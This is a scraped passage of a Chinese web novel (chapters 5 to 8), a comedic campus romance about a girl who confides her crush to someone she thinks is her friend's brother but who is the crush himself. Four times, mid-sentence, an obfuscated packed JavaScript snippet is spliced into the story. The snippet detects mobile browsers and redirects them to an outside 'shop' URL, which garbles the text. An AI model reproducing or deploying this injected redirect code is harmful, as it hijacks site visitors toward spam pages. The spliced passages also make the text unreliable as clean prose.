她的房门被敲响。 “小知，可以进去吗？” 乐知世把手机塞到被子里：“可以的。” 乐东兰进来：“明天我们一起去奶奶家，在那边住个三天左右就回来，你收拾收拾要带的东西。” 乐知世感受到腿边的手机振动一下。 她从床上下来，打开衣柜：“带三身的衣服就行了。” 乐东兰说：“带两身也行，你奶奶家那边太阳毒，洗了当天就能晒干。对了，你们去云南准备自由行吗？” “报团。”乐知世随便拿了两条连衣裙，她最喜欢这种可以直接套头不需要搭配的，“杨顺琪的家人觉得这样更安全。” 杨顺琪是另一个女生，还有一个女生叫朱佑。 她们四个女生一起去。 “去那么远的地方，是得注意安全。”乐东兰问她，“团费多少钱？” “好像是四千？”乐知世记不太清楚了，“杨顺琪爸爸帮忙找的团。” 乐东兰心里知道乐知世身上的钱够花，但出门在外还是得多带点钱，防止碰上意外情况。 她给乐知世转了五千，说：“团费给你报销。” 乐知世立刻贴过来：“谢谢妈妈。” “给钱就是妈。”乐东兰推开女儿，把女儿的衣服拿出去，行李箱摆在客厅，这次去的时间不长，他们一家人带一个行李箱就够用。 等门一关，乐知世赶紧从被子里摸出热乎乎的手机。 一条撤回。 一条问话。 【XU：到底是要我帮你什么忙？】 乐知世发过去的两个红包，对面还是没有领。 看来徐荷清真的没有和她哥说清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745698|189880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 乐知世引用了前面那条“我喜欢许树！”的消息，害羞含蓄地发过去两个字。 【闭眼睛是在思考：想追。】 啧，是不是不够直白？ 【闭眼睛是在思考：真的好喜欢，帮我追吧[可怜]。】 …… 许树翻开许宪给他的学生名单，再次确定他没有加错人。 对面的确是隔壁班那个最讨厌他的乐知世。 她这是在…… 让他教她怎么追他吗？ 是真心话大冒险输了？还是新的整人报复手段？ 总不可能是真的喜欢他吧！？ 倒不是许树不自信，而是隔壁班的乐知世从来没给过他好脸色看。 每次碰到，要么是目不斜视地从他身边走过去，要么是不高兴地瞥他一眼收回。 就连许宪都曾问过他：“你是不是背地里欺负我们班第一名了？” 而现在，这么一个没正眼看过他的人，和他说喜欢他，还让他帮忙追他自己？ 阴谋！绝对是！ 虽然不明白对方这么做的目的，许树偏是个不信邪的，他迎难而上。 【XU：好啊。】 看到了徐荷清哥哥答应的消息后，乐知世心满意足地闭上眼睛。 当晚，连梦里都是夸张肌肉版的许树在冲她招手。 不过不算美梦，因为乐知世跑过去后，肌肉许树变成了橙色大眼蛙。 大眼蛙舔了她一脸口水，义正言辞地和她说：“我们正经男生不能乱抱的。” 乐知世很想告诉那蛙：她想抱的不是他。 但梦醒了。 乐知世的奶奶家在村里，这边没有山，都是大平原。 空气清新，也没市里那么热，有风的时候，田里麦浪滚滚，是很平和的美。 乐知世举起手机对着外面拍了张照片。 拍完在颠簸的车里又睡着了。 “小知。”副驾驶上的乐东兰喊她，“马上到你奶奶家了，清醒一下。” 三个小时的车程，乐知世睡了两个小时。 她没睡够，摸出手机，有新消息。 【XU：差点忘记正事，你被哪个学校录取了？】 徐荷清没和他说吗？ 乐知世耐心地回：“哥，我们是校友，同一所大学哦。” 【XU：挺巧。】 【闭眼睛是在思考：是啊！多巧的事！】 许树舍友就在她身边，做梦都不敢这么梦。 【闭眼睛是在思考：许树。】 【闭眼睛是在思考：醒了吗？】 【XU：？】 【XU：你说了一句废话。】 徐荷清哥哥果然脾气不好。 【XU：你到底想说什么？】 车窗开着，明明外面有风，乐知世还是有些脸热。 她想到昨晚梦里的肌肉版许树，好想和人分享。 但她的最佳聆听者徐荷清不在，除了徐荷清外，没人知道她喜欢许树。 不对，徐荷清的哥哥现在也知道。 本来乐知世还有些犹豫要不要和他讲，毕竟和一个异性说这个好像不太合适，但他既然主动问了。 【闭眼睛是在思考：昨晚我梦见了……许树】 【闭眼睛是在思考：好大的肌肉，超级夸张的那种。】 5. 第 5 章 “乐知世，你今天怎么这么黄？” 乐知世刚打开后车门，就被小叔家的哥哥石岩一个压脖薅怀里去了，他说：“回村里穿这个颜色招飞虫不知道？” 乐知世闻言低头，果然见几只不知死活的小虫正往她身上撞。 早上起床时她困得眼睛都睁不开，随手一拿就抽中了衣柜里最扎眼的裙子。 亮黄，在大中午的日头底下，这颜色不比太阳逊色。 “你懂什么？小姑娘家就是要穿这种颜色才精神。”乐知世的奶奶吕桂芬女士及时出现，一把拧住石岩的耳朵把他扯到一边儿，转手就将乐知世搂进怀里，心疼道，“哎哟，奶奶的乖孙儿，考试辛苦了。” “是啊，好辛苦。”乐知世虚虚回抱了一下，赶紧撤开，“奶奶，我们牵手，抱着有点热。” 吕桂芬香一下就稀罕够了，她摆摆手催道：“快跟你哥进屋吹空调去，我去给你爸妈拎东西。” 一家三口的东西就一个行李箱。 但乐东兰每次过来都会买不少东西，家里每人一件礼物，再捎上些市里的特产，把车后备箱塞得满满当当。 他们到的时候正是午饭的点，就算这里比市里凉快，外面的温度也上三十度了。 乐知世听话地先进屋，石岩跟在她身后，还在不停地给她拍着身上的飞虫：“乐知世，你这裙子都快变成虫子诱捕器了。” “哥，我待会儿就换衣服。”乐知世一边说一边摸出手机，“你别拍了。” 她刚下车时就感受到震动了。 【XU：？你这是在内涵我的肌肉不明显？】 【XU：图片.jpg】 【XU：我是真的有。】 乐知世眼睛看清那张图片时，险些没拿稳手机。 发过来的图片中，展示的身体部位并不冒犯，是一只完整的手臂，有些模糊，像是从视频里截图下来后再裁减的。 但在糊到不行的画质下，乐知世依然能看清那只手臂上面蓬勃的肌肉线条，她完全能想象到这样的一双手有多大的力气，大概能轻轻松松把她举起来抛两下。 不过她夸许树时，真的不是想内涵阴阳徐荷清的哥哥。 【闭眼睛是在思考：我不是这个意思。】 【闭眼睛是在思考：我是听人说，如果你梦到一个人，代表这个人在想你。嘿嘿，你觉得这是真的吗？】 徐荷清她哥很冷静，也很不懂聊天的艺术。 【XU：假的。】 乐知世：……说句谎话骗骗她能怎么样！ 吃完午饭，乐知世重新打起精神，继续和徐荷清她哥闲聊，顺便问起他们男生宿舍群里今天聊了什么新话题。 许树看着对面发过来的消息，眉头微不可察地皱了一下。 ——她怎么总是好奇男生宿舍的事情？ 【XU：你想知道什么？不要绕圈子。】 嘿！乐知世就喜欢这种直来直去的人，她立刻把手机备忘录里的东西截图发过去。 【闭眼睛是在思考：图片.jpg】 【闭眼睛是在思考：哥！麻烦您空的时候帮我把这些信息补充一下？】 许树点开。 备忘录标题：关于许树。 基本信息、进阶信息、终极信息。 这都是什么鬼东西？ 许树仔细去看里面内容。 发现这相当于他的情况调查表。 好笑的是，上面只填了个姓名和性别，其它全是空白。 空着干什么？等着他本人来填呢？ 哦，确实是，发给他让他写呢。 许树面无表情地引用那张图片。 【XU：你就是这么追人的？】 难道不对吗？ 乐知世虚心请教。 【闭眼睛是在思考：追人不应该先从了解开始吗？】 【XU：都不了解，你怎么知道你这是喜欢？】 许树发完这句话后，莫名有些紧张。 阴谋总该被掀开一角了吧？ 【闭眼睛是在思考：我其实挺肤浅的，所以应该就是一见钟情的那种喜欢？】 【闭眼睛是在思考：你也知道的，高中压力多大啊，我每天连觉都睡不够，根本没精力去慢慢了解一个人。】 【闭眼睛是在思考：但每次学习学不下去、想放弃的时候，我都会在心里默念“许树许树”，念完好像就又有了坚持下去的动力。】 【闭眼睛是在思考：而且什么年纪就该做什么事，高中的重心本来就是学习，现在毕业了我再行动，应该也不晚吧？】 许树盯着她发来的好几条消息，翻来覆去看了好几遍。 心中的天平彻底倾倒。 名为“喜欢”的那端，被这几句话的重量压了下去；而名为“阴谋”的那端高高翘起，上面已经空无一物，连他自己都不再站在那边。 她……好像是真的很喜欢他？ 所以之前不是讨厌？他们碰面时，她刻意避开的眼神，其实是在害羞吗？ 许树站起身，给自己倒了杯凉白开，一饮而尽后又续了一杯。 可心里依旧冷静不下来，他得找点事做转移注意力。 视线重新落回不远处的手机上。 他心想，反正闲着也是闲着。 他走过去，手指动了动，再次点开那张图片，将它传到iPad上，沉下心认真在桌前填写起来。 在图片上面直接手写有些麻烦，许树干脆重新制作了一份新的文档。 反正原来那份，几乎算是什么有效信息都没有。 许树边写边皱眉。 前面的问题还好，答案都是最客观的信息，但写到后面，问题变得越来越莫名其妙。 甚至有些问题他自己都不知道答案，比如那条“许树对未来的家庭成员设想”。 这问的问题也太遥远了吧？ 他现在只是一个刚高考结束的学生，难道已经该思考未来家里有几口人吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745699|189880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他现在可是连恋爱都没谈过的人。 还有那条“许树认为X生活的最佳频率是”。 许树看见那三个字的时候，简直无从下笔！ 他将这问题滑上滑下，不知道是该略过还是该写个最科学的答案。 这时许宪刚好从外面回来，他一进门就看见儿子坐在那里认真思考着什么。 他心中正欣慰孩子高考结束还能如此好学，结果许树抬头看见他后的第一反应竟是将iPad锁上。 “儿子，你刚才在干什么？”许宪本来不好奇的，看到儿子不正常的反应才走近。 他想要伸手拿过iPad，许树却抱着它站起来，生硬地说：“我还没用完。” 说完，许树就拿着它一起进了房间，关上房门还不够，他甚至还反锁了。 一副做贼心虚的模样。 许树进房间后没有再写下去，尽管这份空白的情况调查表已经快要被他填满。 他拿出手机，这次看见对方那几句话的心境全然不同。 乐知世竟然说的是实话，她、她真的是一个肤浅的人！贪图的只是他的皮囊！ …… 乐知世午觉睡了三个多小时，期间乐东兰进来叫了她好几次。 但乐知世嘴上应声、眼睛不睁，乐东兰看她困成这样，索性没带她，和石寄华两个人出去了。 没有人管，乐知世便睡到饱，才从床上坐起来。 摸出手机，看徐荷清她哥还是没理她那几句“感人”的话，她默默拍了拍对方的头像。 乐知世也不好意思催得太急，如果对面还不回她消息，她就晚上睡觉前再给他发一次。 简单冲过澡，乐知世换上了另一条白色衬衫裙。 她拿着蒲扇，和吕桂芬一起坐在屋檐下闲聊，顺便等着对面太阳彻底落下。 别说，真挺惬意的。 乐知世每次回到村子里，都感觉时间变慢了。 但快乐不过半小时，乐知世就被逮不着的蚊子逼疯了，她露出的小腿和脚脖成了蚊子今天的美味晚餐，哪怕她在腿上喷足了花露水都不管用。 乐知世跺跺脚，干脆躲回屋里呆着。 屋里就没什么意思了，她拿起正在充电的手机，看到新消息提醒，心中一喜。 点开后，却有些茫然。 一个WORD文档？给她发这个干什么？ 打开一看，更是了不得。 8362个字，密密麻麻。 【闭眼睛是在思考：哥，我晕字症要犯了，这是什么东西？】 【闭眼睛是在思考：脱离低级趣味的必要性？这是哪位教授的大作？哥你发给我是不是发错人了？】 【XU：没发错，好好看看。】 对面又甩过来一个文档。 这次乐知世连点开的欲望都没有。 【闭眼睛是在思考：哥，我真的不想看那么多字，要不你提炼个重点给我？我会谨记在心的。】 6. 第 6 章 【XU：重点就是。】 【XU：你不适合追人。】 【XU：打开电视去看灰太狼抓小羊吧。】 很好，追人的第一步还没迈出去，自己的助攻已经开始劝她放弃了。 乐知世盯着屏幕上的消息，完全不知道自己哪里惹恼了对方。 思来想去，她唯一能想到的，似乎只有那不知道在表达什么的文档。 难道就因为她不愿意认真看？ 乐知世只能耐下性子，重新打开第一个文档。 扫了几行，便觉得像是头脑混乱的人一时兴起的激情创作。 写的全是什么“低级趣味是在消耗生命”、“不要只在乎一时的爽感，要以可持续发展的目光看未来”、“只有脱离低级趣味，才能让双方的身体维持在健康的水平”…… 毫无逻辑可言。 再说了，低级趣味有什么不好的？ 人活着图的就是开心，非要把趣味分出三六九等，又有什么意义呢？ 【闭眼睛是在思考：哥，我认真看完你发过来的东西了。】 【闭眼睛是在思考：不好意思啊，我这人就喜欢这些低级趣味。】 发完这两条消息，乐知世又点开第二个文档。 下一秒，安静的房间内突然爆发出一声喊破音的“我的天！” 在隔壁房间打游戏的石岩被吓得手一抖，空放了一个大招。 他来不及心疼大招，立刻冲到隔壁看情况：“妹妹，你怎么了？”只有这个时候，石岩才会喊她妹妹。 乐知世站在床上，身上还披着一个夏凉被。 他们小时候玩演将军游戏的时候，也是这个样子。 ——眉飞色舞的，那模样像刚打了胜仗，藏不住的开心全写在脸上。 “哥，我没事，就是太高兴。”乐知世的嘴角根本压不下来。 没事啊？那既然没事，石岩就想起来自己的排位赛了。 他都来不及问她在高兴什么，转身又跑回了隔壁。 乐知世盘腿坐回床上。 她现在再看到这些字突然就不觉得难受了，反而越看越顺眼，每一个字恨不得反复浏览上十几遍才肯往下翻。 看得太投入，不知不觉，时间就耗到了晚上七点多。 直到看见某个问题下面的“低级趣味”四个字，乐知世才猛地回过神：！！！ 她从网上下载的“了解crush的100道必备问题”里面，为什么还会有这种题目啊？ 乐知世抓了抓头发，再回看聊天框。 【XU：你！】 【XU：就算再喜欢，也要懂得适可而止，等身体受到影响再后悔就晚了。】 一个小时前就发过来了，但乐知世光顾着阅读关于许树的信息了，完全忽视了这两条消息。 乐知世这才后知后觉。 原来“低级趣味”说的是“X生活”的意思，她之前还以为徐荷清她哥在讽刺自己追人这件事。 现在连解释都不知道该怎么说，只能闭着眼睛装糊涂。 【闭眼睛是在思考：哥我逗你玩呢，我对这些低级趣味，其实也不太感兴趣的。】 【闭眼睛是在思考：我现在太认同第一篇文章里的观点了。】 【闭眼睛是在思考：远离低级趣味，从你我做起！】 她自顾自地喊完违心的口号，门外就传来汽车响声，乐东兰和石寄华从外面回来了。 “小知，快出来吃饭。”乐东兰在喊她。 儿子儿媳在外面忙正事，吕桂芬肯定不可能带着孩子们先吃，便一直等到现在才开饭。 石岩六点多就被他爸喊回了家，现在家里只剩他们四个人，方方正正的桌子一人坐一边刚合适。 桌上摆着稀饭和两素两荤，乐东兰因职业原因吃得不多，她夹了几筷子素菜就开始和乐知世说明天的安排。 “酒店定在厚道人家，我和你爸白天去看过了，酒店里有自己的台子，还有个大屏幕可以放照片，你明天想上台讲话吗？”乐东兰问她。 乐知世咽下稀饭：“妈，我不想。” 乐东兰没勉强：“行，那就只投屏照片，你吃完饭好好选选，选中了就发给我。” “妈！”乐知世满脸生无可恋，“这个我也不想，感觉好尴尬。” 乐东兰点头：“那你上台讲话。” 反正就是得二选一。 乐知世纠结了两秒钟，立刻妥协：“照片明天早上发你。” 吕桂芬不懂青春期的心思，她忍不住可惜：“好不容易考上那么好的学校，应该上台给大家分享下经验嘛。” “可是，我们家亲戚里没有初中生和高中生吧？下面坐着的人里，要么是已经高考过的，要么是还在上幼儿园的，剩下的就是比我爸年纪还大的叔叔阿姨、爷爷奶奶。” 乐知世眨巴着眼睛，非常真诚地说着大实话：“应该没人想听我分享学习的经验。” 吕桂芬站起来：“哎呀，听到小和尚念经突然困了，我先去睡了，寄华啊，你记得收拾碗筷。” 石寄华应声答应，乐知世草草吃了几口饭，也想赶紧回房。 “记得挑照片！”乐东兰在她身后喊。 “……知道了。”乐知世头也不回地敷衍道。 乐东兰是不允许她在饭桌上玩手机的。 所以她进门后的第一件事，就是掏出口袋里的手机看新消息。 【XU：你不用和我说这些的。】 难道不是他先和她说这些的吗？ 【XU：我又不是你的谁。】 乐知世：…… 她还以为他下午和她扯的那些话，是在替许树的身体着想，没想到他竟是真的代入了自己。 不过徐荷清她哥是真的有实力。 一个下午，就把许树摸得透透的。 乐知世想到以后还得麻烦他，只好软着语气哄了两句。 【闭眼睛是在思考：别瞎说。】 【闭眼睛是在思考：你是我的哥，唯一的哥！】 石岩突然打了个喷嚏，盯着十八连跪的战绩，开始怀疑人生。 另一边，许树看着乐知世的消息，只觉得自己简直是昏了头。 他不应该和她说那么多废话的，他早该在她说喜欢自己的时候，直接拒绝她。 可那些犹豫着打出的拒绝话语，最后还是被他一个个删除。 许树对乐知世的感情，其实挺复杂的。 因为许宪的缘故，许树刚上高中时，还没见到乐知世本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745700|189880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人，就已经听熟了她的名字。 “语文不及格的那个乐知世居然分在了我的班。” “乐知世昨天做的阅读赏析又是零分。” “我的语文教学事业要毁在乐知世手上了。” …… 许宪教书将近二十年，大概是从来没有遇见过这么不开窍的学生。 他在家里提到乐知世的频率很高。 高一的第一次月考，月考成绩贴在教学楼下的公告栏展示。 许树路过，便去看了眼，从最后面的排名开始看。 在看自己成绩的好心同学提醒他：“许树，成绩是从那边开始排的，你看反了。” 许树脚步顿了顿，走到前面。 出乎意料的是，他名字的右侧，就是乐知世的名字。 一竖排是五十个人，乐知世是全年级五十一名。 许树听许宪天天吐槽，还以为乐知世的成绩很不好。 原来只是语文成绩不好。 之后的每次月考，许树都会不自觉地关注她的成绩。 一开始是好奇她的语文到底差到什么程度，后来渐渐变成期待她的语文什么时候能及格。 越了解，就越觉得敬佩。 乐知世在语文成绩原地踏步的情况下，硬生生考到了全年级第二。 说是第二，其实她才是真正的第一名。 除了语文，她每一门的分数都比许树高那么一两分。 所以许树一直把她当成可敬的对手，也很早就想和她交朋友。 但乐知世太难接近，每天两点一线，进了教室后，除了上厕所几乎不怎么出来，他始终找不到一个合适的机会去认识她。 这也是为什么他一开始怀疑乐知世的示好是场“阴谋”，却还是顺着她的话迎难而上的原因。 虽然现在他依旧不确定乐知世是真的喜欢自己，还是单纯在拿他开玩笑，但许树仍想和她交朋友。 一番思考后，他终究没直接说“我不喜欢你”“我们是不可能的”这类话。 【XU：唯一的哥，算是朋友吗？】 【闭眼睛是在思考：当然算，比朋友还要高一级。】 上嘴唇碰下嘴唇的事儿，乐知世直接把对方当成徐荷清，不过脑子直接哄。 【XU：朋友就只能当朋友。】 他要把乐知世引回正道。 【闭眼睛是在思考：好好好，你说什么都对。】 许树：…… 真的会有人对喜欢的人这么敷衍吗？ 【XU：我是认真的。】 【闭眼睛是在思考：我也是。】 【XU：那你不追了？】 【闭眼睛是在思考：！！！】 【闭眼睛是在思考：哥，你不要总是劝我放弃。】 【闭眼睛是在思考：我是不可能放弃许树的，我喜欢他的原因虽然肤浅，但我的爱是真的，而且这可是我的初恋，我一定会把他追到手的。】 【闭眼睛是在思考：哥，你作为我的助攻，只能为我加油，不能打击我的自信心啊。】 等等。 许树突然意识到乐知世消息里的怪异之处。 她在和谁对话？ 或者说，她把他当成了谁？ 7. 第 7 章 【XU：你知道现在是谁在和你对话吗？】 【闭眼睛是在思考：当然知道。】 【XU：我是许树。】 许树发完这条消息后，对话框陷入了诡异的安静。 他盯着屏幕，等待了可能有十分钟？对面的消息突然像机枪射手吐豆子似的，一条接一条地往外喷，瞬间刷屏。 【闭眼睛是在思考：哈哈哈，哥，你也太幽默了吧。】 【闭眼睛是在思考：大晚上这么冷幽默一下，直接把我给吓清醒了。】 【闭眼睛是在思考：你们该不会真的线下见面了吧？】 【闭眼睛是在思考：你把你的手机给他用了？】 【闭眼睛是在思考：哥，你倒是回句消息啊，我快要慌死了。】 许树垂下眼睛，手指悬在屏幕上方顿了顿，才缓慢敲下回复。 【XU：慌什么？】 【XU：不是挺喜欢的吗？】 【闭眼睛是在思考：……喜欢归喜欢，但我真没想过现在就和他直接对话啊！我根本没做好准备。】 【闭眼睛是在思考：哥，你快说，你是骗我的对不对？】 许树没想到乐知世是这个反应。 ——宁愿自欺欺人，也不敢相信对面的人是他。 许树忍不住思考：如果这个时候，他坚持戳破真相，会怎么样？ 大概率他会被当场删除拉黑，或者收到一句“对不起打扰了”，两个人尴尬地当个不再聊天的微信好友，顺其自然地断了联系。 再换个角度想，“助攻”这个身份其实对他、对他们都好。 他大可以借着这个身份，慢慢引导乐知世，把那份对自己根本不算喜欢的喜欢转换成友谊。 这样一来，两个人或许才能毫无芥蒂地成为真正的朋友，拥有一段更稳定、更长久的关系。 许树想通这些，不再犹豫，轻快地敲击屏幕，回了消息。 【XU：骗你的。】 几乎是他发出的瞬间，对面立马回了消息。 【闭眼睛是在思考：我就说嘛！】 【闭眼睛是在思考：哥，你刚割的双眼皮应该还没恢复好吧？】 【闭眼睛是在思考：少出门多网聊，有许树的消息要记得和我分享哦。】 刚割的双眼皮？ 是她现实生活中的朋友吗？ 既认识乐知世又认识他的，那只有可能是一班或者二班的同学。 还是男同学。 许树在脑子里挨个筛选，还是没找出最可疑的那个。 【XU：嗯。】 【XU：现在睡觉吗？】 对面的乐知世看到这条消息，歪倒在床上，松了口气。 刚刚的十几分钟里，她的大脑都快被徐荷清她哥吓宕机了。 关键时刻，乐知世想起徐荷清吐槽她哥的话：“幼稚又小气，时不时来句冷笑话嘲讽我，哈，我都懒得和他计较。” 乐知世当时问：“为什么不计较？” 徐荷清：“我计较他就上纲上线，我不计较他反而觉得没意思。” 瞧瞧，乐知世没上当，对面立刻觉得没趣儿了。 【闭眼睛是在思考：哥，你困了就睡吧，我在忙呢。】 【XU：忙什么？】 【闭眼睛是在思考：挑照片。】 【XU：我可以帮你选。】 突然那么好心？ 但乐知世还没和他见过面，两个人大概只能算网友，她并不愿意和对面分享她的照片。 【闭眼睛是在思考：不用了，我快要选完了。】 【闭眼睛是在思考：早点睡吧。】 【XU：晚安。】 注定安不了。 乐知世把挑中的照片发给妈妈后，她又点开了第二个文档。 她美滋滋地重温一遍。 快要睡着时，手机界面停留在“低级趣味”那里。 暗淡。 息屏。 沾上许树，乐知世就很容易做梦。 这次的梦里，是在上课。 许树是老师，她是学生。 他板着脸，手里拿着一根教棍，站在讲台上，正在大讲特讲“低级趣味”的不好之处。 乐知世先是坐在下面欣赏了一会儿这个模样的许树，等他讲得兴致高昂时，举起手反驳：“你又没试过，你怎么就知道低级趣味不好呢？” 许树皱着眉，看起来很不满她打断他的教学。 “实践出真知。”乐知世站起来，走到讲台上，“我可以和你试试吗？” 毕竟是梦，随她的想法而发展。 梦里的许树严肃地点了点头，有力的手臂轻轻松松地举起她。 腾空后的起起伏伏，像飘在云端。 这种漂浮，让她情不自禁抓住什么东西，获得支点。 “你觉得这种低级趣味好吗？” 天呐，人怎么能在这个时候问出如此扫兴的问题。 “好——” “回答错误。” “重答一次。” 意识涣散时，乐知世脑子里蹦出一句：不愧是学霸，学什么都能学得又快又好。 …… 美好的早晨，是从妈妈的敲门声开始。 “乐知世，我已经叫了你六遍了，快起床。” “嗯嗯嗯。”乐知世敷衍应声。 乐东兰自然是了解女儿的，她表态：“半个小时后，如果我没在院子里看见你，就会直接进来把你从床上拽起来。” “……好。”乐知世总算动了动，她弓起身子，趴在床上缓了一会儿，“马上就起。” 昨晚乐知世睡得很好，在床上抱着被子打了几个滚后，她终于睁开眼睛。 而她醒来后的第一件事，就是缩在被窝里，问候她的助攻。 【闭眼睛是在思考：哥，早上好啊[太阳]。】 【闭眼睛是在思考：嘿嘿嘿，谢谢你昨天发来的资料，我又又又梦见许树了。】 打完字，她还搜索了一个“幸福猫猫头”的表情包发过去。 今天乐东兰叫她起床比较早，乐知世也没指望对面秒回。 她发完就把手机扔到床上充电，起床洗漱。 虽然乐知世不需要登台讲话，但她作为升学宴的“主人公”，还是被乐东兰拉着收拾了下。 早上阳光温柔些，不太灼人，乐知世搬了张板凳坐在阴凉处，乐东兰站在她身后，正仔细地为她编发。 乐东兰的手向来灵巧，以前跳舞的时候，她就常亲手给孩子们做各式各样的发型。 “好了。”乐东兰结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745701|189880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束得快，“你去照照镜子，我给你奶奶也弄下头发。” 吕桂芬早就在旁边等着了。 她今天穿了件红色的大花汗衫，整个人喜庆得不行。 “妈穿这件显得气色好。”乐东兰手上在弄，嘴巴也没停，“我下次来多给你带些亮色衣服。” “好好好，谢谢东兰。”吕桂芬笑得开心，“还是女儿贴心，懂得疼人。” 她说的女儿就是指乐东兰。 吕桂芬生了两个儿子，家里男人又死得早，想拼个女儿都没机会。 好在两个儿媳妇都和她比较亲，老了才有机会体验一把有女儿的感觉。 “东兰，到时候收的礼金我都给你，再额外给你添几万凑个整数。”吕桂芬瞥了眼正在收拾院子杂草的石寄华，“你别和寄华说，我们俩都不告诉他。” “奶奶~”乐知世捧着面小镜子从她们身后钻出来，声音带着狡黠，“听者有份呀。” 于是，那几千几百的零头，被分到了乐知世手里。 石寄华在院子里拔草正干得起劲儿，忽然听见不远处的三位女士不约而同地笑出声来。 他抬头看了眼，也不知道她们在笑什么。 因为要赶在客人抵达前先去饭店准备，一家人不到十点便收拾妥当，动身出发了。 大家都忙着招呼客人，乐知世也被分配了任务。 她站在饭店门口当“吉祥物”迎客。 石岩陪着她一起。 兄妹俩默契十足，客人一来，一人先喊“二爷爷”，另一人立刻跟着应和，谁也不肯落下。 从十一点开始迎客到十二点开席，两人足足脆生生喊了一个小时。 这期间，乐知世只有在上厕所的空隙，飞快瞥了眼手机。 【XU：梦见什么了？】 见她没回复，对方又发来一条。 【XU：是美梦吗？】 【闭眼睛是在思考：对我来说肯定是美梦，但对许树而言……哈哈哈，说不定是噩梦呢。】 她发完这一句，人又消失了。 许树追问她到底是什么梦，她也没再回应。 真吊人胃口。 许树被她这句话弄得都没心思做别的事情了。 不过这次消失时间没有上次久，许树也就等了个三十二分钟左右，就收到了她的消息。 【闭眼睛是在思考：不是三言两语能说清楚的，而且我觉得你听了可能会不高兴。】 【闭眼睛是在思考：当然，主要是内容也不太好说。】 其实乐知世醒来后，还思考过昨晚她为什么会做这种梦。 想来想去，可能就是因为徐荷清她哥一直揪着这个事情和她念叨。 于是，她就被他影响了。 所以不管从哪方面看，她都挺感谢徐荷清她哥的。 【XU：我是你的助攻，你应该对我坦诚。】 【XU：你只有和我说实话，我才能帮助你更好地追到许树。】 【闭眼睛是在思考：……你真的想听吗？】 【闭眼睛是在思考：可是，我还是觉得不太适合和你细聊这个梦。】 乐知世越是这么说，许树更想知道。 【XU：不细聊，就讲重点。】 【闭眼睛是在思考：低级趣味。】 8. 第 8 章 沉默方交换。 乐知世吃完饭，看着空荡荡的锁屏界面，毫不意外。 【闭眼睛是在思考：都和你说了，我的喜欢是很肤浅的。】 【XU：肤浅的感情放弃应该也很容易？】 【闭眼睛是在思考：又开始了，又开始了！】 【闭眼睛是在思考：哥，你是觉得我配不上他吗？怎么三天两头就劝我放弃。】 乐知世手上被吕桂芬塞了几个袋子，是她打包的菜。 石岩手上同样满满当当。 聊天暂停，游戏也暂停。 两人当起了奶奶的“左膀右臂”。 “乐知世，你怎么天天抱着手机打字？”石岩找妹妹闲聊，“昨天也是，你高兴什么呢？” 他忽地想到一种可能性，压低了声音：“你不会是谈恋爱了吧？” “没有谈恋爱。” 石岩刚松一口气，就听乐知世说：“我在追人。” 石岩的心脏宛如坐了过山车，安稳落地后又冲上高点：“乐知世！” 乐知世被他的反应吓到，很警惕地看了石岩一眼：“你也要劝我放弃？” 石岩没注意到她话里的“也”，他比乐知世大两岁，这个暑假结束就上大三了。 “男生没几个好东西。”石岩提醒妹妹，“你别被骗了，尤其是那种会说花言巧语的男生，最会骗人了。” 乐知世冲他一笑，脚尖踢了踢台阶：“谁骗谁还真不好说。” 回到家，吕桂芬又忙着收拾要给他们带走的东西，一刻不停的。 次次如此，车是满满当当开回来的，又是满满当当开走的。 而乐知世被石岩拽着打游戏，她不会玩那种有很多技能的游戏，石岩便带着她玩了射击类的游戏。 等游戏匹配的时间，乐知世会短暂点开微信小窗口。 【XU：没有，是他配不上你。】 【闭眼睛是在思考：虽然你是我在网上唯一的哥，但也不能说许树坏话。】 【闭眼睛是在思考：在我这里，许树是比你还要高一级的存在。】 骗人。 许树放下手机。 想起高考结束那天，乐知世津津有味地看着别人和他表白的场景。 全程，她的目光都没放在过他的身上，不仅看着别人，还能笑得出来。 这算什么喜欢？她也就只能骗骗自己。 许树换上衣服出门，他约了班里的人缘好的男生去体育馆。 